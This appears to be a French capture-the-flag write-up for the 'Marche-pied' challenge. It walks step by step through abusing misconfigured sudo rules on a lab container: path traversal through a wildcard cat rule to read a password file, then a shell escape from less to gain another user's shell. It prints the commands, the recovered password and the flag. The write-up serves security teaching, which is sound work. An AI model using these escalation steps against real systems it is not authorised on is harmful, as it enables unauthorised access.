Marche-pied
Flag:
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Marche1 -> Marche2
On se connecte sur la machine en ssh avec les identifiants fournis :
$ ssh -p 15205 [email protected]
On liste ce que l'on peut faire avec la commande sudo -l
:
marche1@cf5a191e1c855c91:~$ sudo -l
Matching Defaults entries for marche1 on cf5a191e1c855c91:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User marche1 may run the following commands on cf5a191e1c855c91:
(marche2) NOPASSWD: /bin/cat /home/marche2/config/*
On peut lancer la commande cat
sur le dossier config de marche2, sauf que l'on peut lister le dossier de marche2 :
marche1@cf5a191e1c855c91:~$ ll /home/marche2
total 40
drwxrwxr-x 1 marche2 marche2 4096 Nov 25 12:26 ./
drwxr-xr-x 1 root root 4096 Nov 7 22:41 ../
-rw-r--r-- 1 marche2 marche2 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 marche2 marche2 3771 Jan 6 2022 .bashrc
drwx------ 2 marche2 marche2 4096 Nov 25 12:26 .cache/
-rw-r--r-- 1 marche2 marche2 807 Jan 6 2022 .profile
drwxrwx--- 1 marche2 marche2 4096 Nov 7 22:41 config/
-rwxrwx--- 1 marche2 marche2 30 Nov 7 22:41 remember_password.txt*
L'exploit consiste donc à utiliser la commande cat
sur le dossier config puis de remonter l'arborescence pour lire remember_password.txt
:
marche1@cf5a191e1c855c91:~$ sudo -u marche2 cat /home/marche2/config/../remember_password.txt
WhatAStrongPasswordFormarche2
Marche2 -> Marche3
On se connecte sur la machine en ssh avec les identifiants récupérés :
$ ssh -p 15205 [email protected]
On liste ce que l'on peut faire avec la commande sudo -l
:
marche1@cf5a191e1c855c91:~$ sudo -l
Matching Defaults entries for marche2 on cf5a191e1c855c91:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User marche2 may run the following commands on cf5a191e1c855c91:
(marche3) NOPASSWD: /bin/less /home/marche3/message.txt
On peut lancer la commande less
en tant que marche3, sauf que less
permet de faire spawn un shell. On peut donc obtenir un shell en tant que marche3. Pour ça, une fois dans less, on entre !/bin/sh
:
marche2@cf5a191e1c855c91:~$ sudo -u marche3 less /home/marche3/message.txt
Here is an important message for everyone: I got ratioed. I may be absent from office for a couple of years. Thanks for your understanding.
~
~
!/bin/sh
$ whoami
marche3
$ ls -al /home/marche3
total 32
drwxr-x--- 1 marche3 marche3 4096 Nov 7 22:41 .
drwxr-xr-x 1 root root 4096 Nov 7 22:41 ..
-rw-r--r-- 1 marche3 marche3 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 marche3 marche3 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 marche3 marche3 807 Jan 6 2022 .profile
-rw-r--r-- 1 marche3 marche3 44 Nov 7 22:41 flag.txt
-rw-r--r-- 1 marche3 marche3 140 Nov 7 22:41 message.txt
$ cat /home/marche3/flag.txt
CYBN{Mak3_SUr3_T0_coNF1Gur3_sUD0_C0rr3C7ly}
Dernière mise à jour
Cet article vous a-t-il été utile ?